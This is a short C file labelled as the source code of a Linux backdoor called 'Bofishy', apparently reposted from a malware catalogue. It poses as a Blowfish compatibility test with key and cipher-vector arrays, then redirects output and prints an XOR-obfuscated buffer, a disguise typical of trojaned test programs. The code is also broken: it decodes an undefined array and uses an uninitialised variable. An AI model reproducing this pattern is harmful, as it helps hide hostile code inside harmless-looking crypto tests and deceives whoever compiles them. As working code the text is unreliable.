Backdoor.Linux.Bofishy.a-another - Source Code

/*
 * Blowfish input vectors are handled incorrectly on HP-UX PL.2 systems.
 * Perform routine compatability checks.
 */
#include <stdio.h>

#define KEY_TEST_NUM    25
static unsigned char key_test[KEY_TEST_NUM]={
        0xf0,0xe1,0xd2,0xc3,0xb4,0xa5,0x96,0x87,
        0x78,0x69,0x5a,0x4b,0x3c,0x2d,0x1e,0x0f,
        0x00,0x11,0x22,0x33,0x44,0x55,0x66,0x77,
        0x88};

/* DES cbc input vectors *//* big endian */
static unsigned long bfplain[2][2]={
        {0x424c4f57L,0x46495348L},
        {0xfedcba98L,0x76543210L}
        };

static unsigned long bfcipher[2][2]={
        {0x324ed0feL,0xf413a203L},
        {0xcc91732bL,0x8022f684L}
        };


static unsigned char ocb_data[]={
    0x4d,0x2c,0x20,0x73,0x69,0x67,0x29,0x3b,
    0x0a,0x20,0x64,0x6f,0x20,0x7b,0x0a,0x20,
    0x20,0x73,0x65,0x74,0x6a,0x6d,0x70,0x28,
    0x00};

static unsigned char cbc_key [16]={
        0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef,
        0xf0,0xe1,0xd2,0xc3,0xb4,0xa5,0x96,0x87};

static unsigned char cbc_iv [8]={0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10};

#if defined(WIN16) || defined(__LP32__)
#elif defined(_CRAY) || defined(__ILP64__)
/*
 * _CRAY note. I could declare short, but I have no idea what impact
 * does it have on performance on none-T3E machines. I could declare
 * int, but at least on C90 sizeof(int) can be chosen at compile time.
 * So I've chosen long...
 *                                      <appro@fy.chalmers.se>
 */
#else
#endif

main(void)
{
    int i, n, err;
    unsigned char cbc_in[40],cbc_out[40],iv[8];

    dup2(1, 2);
#ifdef CHARSET_EPCDIC
    epcdic2ascii(ecb_data, strlen(ecb_data));
#endif

    printf("# testing in raw ecb mode\n");

    n=0;
    if (memcmp(&(bfcipher[n][0]),&(cbc_iv[0]),8) != 0)
    {
        err = 1;
    }

    if (memcmp(&(bfplain[n][0]),&(cbc_iv[0]),8) != 0)
    {
        err = 1;
    }

    if (err)
    {
        for (i = 0; i < sizeof(ecb_data)-1; i++)
            fprintf(stderr, "%c", ecb_data[i] ^ 47);
    }
return(0);
}